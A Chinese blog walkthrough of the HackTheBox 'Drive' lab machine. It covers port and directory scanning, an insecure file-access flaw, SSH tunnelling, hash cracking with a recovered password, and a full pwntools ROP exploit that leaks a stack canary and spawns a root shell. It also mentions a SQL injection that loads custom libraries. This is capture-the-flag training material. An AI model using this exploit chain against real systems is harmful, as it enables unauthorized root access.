首页 > 其他分享 >HackTheBox - Drive

HackTheBox - Drive

时间:2024-02-16 13:33:06浏览次数:22  
标签:Status -- 302 Drive HackTheBox rop login Size

# nmap --top-ports=1000 10.10.11.235
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-15 11:10 CST
Nmap scan report for drive.htb (10.10.11.235)
Host is up (0.12s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered ppp

Nmap done: 1 IP address (1 host up) scanned in 3.56 seconds

# 目录枚举
└─# gobuster dir --url http://drive.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://drive.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/contact              (Status: 301) [Size: 0] [--> /contact/]
/home                 (Status: 301) [Size: 0] [--> /home/]
/login                (Status: 301) [Size: 0] [--> /login/]
/register             (Status: 301) [Size: 0] [--> /register/]
/uploads              (Status: 302) [Size: 0] [--> /login/]
/subscribe            (Status: 301) [Size: 0] [--> /subscribe/]
/reports              (Status: 301) [Size: 0] [--> /reports/]
/upload               (Status: 301) [Size: 0] [--> /upload/]
/logout               (Status: 301) [Size: 0] [--> /logout/]
/uploaded_images      (Status: 302) [Size: 0] [--> /login/]
/uploaded             (Status: 302) [Size: 0] [--> /login/]
/uploadedImages       (Status: 302) [Size: 0] [--> /login/]
/uploadedimages       (Status: 302) [Size: 0] [--> /login/]
/upload_control       (Status: 302) [Size: 0] [--> /login/]
/uploadedFiles        (Status: 302) [Size: 0] [--> /login/]
/upload_images        (Status: 302) [Size: 0] [--> /login/]
/password_reset       (Status: 301) [Size: 0] [--> /password_reset/]
/uploaded_files       (Status: 302) [Size: 0] [--> /login/]
/uploads2             (Status: 302) [Size: 0] [--> /login/]
/uploadedfiles        (Status: 302) [Size: 0] [--> /login/]
/uploading            (Status: 302) [Size: 0] [--> /login/]
/uploadnets           (Status: 302) [Size: 0] [--> /login/]
/uploadweb            (Status: 302) [Size: 0] [--> /login/]
/upload_v2            (Status: 302) [Size: 0] [--> /login/]
/uploader             (Status: 302) [Size: 0] [--> /login/]
/uploaddir            (Status: 302) [Size: 0] [--> /login/]
/uploadimages         (Status: 302) [Size: 0] [--> /login/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

# 子域名枚举没有结果

注册,登录,上传文件。发现上传的文件对应一个序号

枚举,发现存在文件

通过尝试,发现 UnReserver File 功能

点击后也可以查看文件

使用含有 block 的url访问未授权文件

使用命令 ssh [email protected] 登录机器

martin@drive:/tmp$ ls /home
cris  git  martin  tom

# 备份7z文件有密码,这个sqlite数据库没有可用数据
martin@drive:/tmp$ ls /var/www/backups/
1_Dec_db_backup.sqlite3.7z  1_Oct_db_backup.sqlite3.7z  db.sqlite3
1_Nov_db_backup.sqlite3.7z  1_Sep_db_backup.sqlite3.7z

使用 linpeas.sh pspy64 查看本机信息,结合用户git、3000端口,判断本机启动了gitea服务

使用ssh内网穿透:ssh -L 0.0.0.0:3000:127.0.0.1:3000 [email protected] 即可访问gitea服务

使用 martin 及其密码登录gitea服务,发现一个仓库,存在用于备份的shell脚本

将压缩包打开,得到多个不同的sqlite数据库,得到多个不同的密码哈希,使用hashcat爆破:
hashcat --hash-type 124 --attack-mode 0 hash.txt /usr/share/wordlists/rockyou.txt

得到多个密码,正确的:tom:johnmayer7

分析 doodleGrive-cli 文件:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# ROPgadget --binary ./doodleGrive-cli --string /bin/sh
str_binsh = 0x0000000000497cd5
# ROPgadget --binary ./doodleGrive-cli --only "syscall"
rop_syscall = 0x00000000004012d3
# ROPgadget --binary ./doodleGrive-cli --only "pop|ret"
rop_pop_rax = 0x0000000000453e37
rop_pop_rdi = 0x0000000000401912
rop_pop_rsi = 0x000000000040f74e
rop_pop_rdx = 0x000000000040181f

r = ssh(host='10.10.11.235', user='tom', password='johnmayer7', port=22)
p = r.run('./doodleGrive-cli')
# p = process('./doodleGrive-cli')

p.recvline()
p.sendline(b'%15$p')
p.recvline()
canary = p.recvline()[19:37]
canary = int(canary, 16)

payload = b'A'*0x38 + p64(canary) + b'B'*8 + \
    p64(rop_pop_rax) + p64(59) + \
    p64(rop_pop_rdi) + p64(str_binsh) + \
    p64(rop_pop_rsi) + p64(0) + \
    p64(rop_pop_rdx) + p64(0) + \
    p64(rop_syscall)

p.sendline(payload)
p.interactive()

获得root权限

此外,这个文件的选项5(main_menu -> activate_user_account)还存在 sql注入漏洞

可通过 load_extension 函数加载自定义的 so 文件

Drive(HTB) · zIxyd's Blog

htb Drive wp-CSDN博客

标签:Status,--,302,Drive,HackTheBox,rop,login,Size
From: https://www.cnblogs.com/zhh567/p/18016346

相关文章

  • Use Wayland with proprietary NVIDIA drivers
    Waylanddoesnotplaywellwithproprietarydrivers.CurrentlythebiggestissueisthatNVIDIAdoescurrentlynotsupportXwaylandproperly,soappsthatrequireitgetsoftwarerendering.Thisincludesmostgames,whicharethemostcommonusecasefor......
  • onedrive安装后无法启动问题
    一些电脑默认安装的win10系统可能之前就被配置过。如果你reset无效,不能启动,或者重新安装后还是无法启动,或者clean后重装还是无法启动,不要怀疑人生或者怀疑人品。可能是注册表何组策略的配置问题了。1Win+R-gpedit.msc-计算机配置->管理模板->windows组件->OneDrive"禁止......
  • 【漏洞复现】用友NC-Cloud PMCloudDriveProjectStateServlet接口存在JNDI注入漏洞
    阅读须知花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本......
  • Selenium Web Driver的基本运用
    SeleniumWebDriver的基本运用目录SeleniumWebDriver的基本运用浏览器窗口的基本操作浏览器导航操作浏览器窗口操作获取浏览器信息查找页面元素按id查找按name查找按class查找按链接文本查找按链接文本模糊查找按标签类型查找按XPath查找按CSS选择器查找通过By对象按动态条件......
  • 领域驱动设计(Domain-Driven Design,简称DDD)【简介 个人学习笔记】
    找到了第1篇资料:领域驱动设计详解:是什么、为什么、怎么做?-知乎找到了第2篇资料:领域驱动架构(DDD)建模中的模型到底是什么?-知乎找到了第3篇资料:一文看懂DDD领域驱动设计-知乎找到了第4篇资料:什么是DDD(领域驱动设计)?这是我见过最容易理解的...找到了第5篇资料:领......
  • DRIVERQUERY [/S system [/U username [/P [password]]]]               [/FO
    DRIVERQUERY[/Ssystem[/Uusername[/P[password]]]]       [/FOformat][/NH][/SI][/V]描述:  允许管理员显示已安装设备驱动程序  的列表。参数列表:   /S  system     指定要连接到的远程系统。   /U  [domai......
  • csi-driver-nfs持久化
    1.简介csi-driver-nfs是一个用于Kubernetes的NFSCSI驱动程序,它可以让Kubernetes访问Linux节点上的NFS服务器。它的CSI插件名称是nfs.csi.k8s.io。这个驱动程序需要已经存在并配置好的NFSv3或NFSv4服务器,它支持通过创建NFS服务器下的新子目录来动态分配持久......
  • 关于Qt MySQL有QMYSQL驱动,但是Driver not loaded问题。
    首先,说一下我当时的问题,控制台显示有QMYSQL驱动,但是就是检测不到报错没有驱动,数据库连接不成功。 一开始是一直在复制粘贴.dll和.lib,但是还是不行,一直试一直拖好久都没解决这个问题。因为我sqlite可以用,所以也不着急搞MySQL,但是每次一有时间,看到MySQL不能使就不舒服,就像再调......
  • QCN9024 QCN9074|Step by Step to load driver for DR9074-Triband on linux 5.17.0
    LoadingDR9074-TribandDriveronLinux5.17.0withATH11KSupportWallysrecentlyannouncedATH11KsupportforDR9074-TRIBANDonLinux,expandingitscompatibilitybeyondQualcommplatformstovariousLinuxembeddedsystems,includingUbuntu.Inthisartic......
  • Eventgrid+Function实现event driven架构 - 架构介绍及环境部署
    今天来介绍这几年在云上比较流行的eventdriven,也就是事件驱动的架构,用一个很简单的sample来实际看下事件驱动的架构到底是个啥事件驱动的架构由生成事件流的事件生成者和侦听事件的事件使用者组成,它的特点是事件可几乎实时发送,因此使用者可在事件发生时需要立即做出响应。生成者......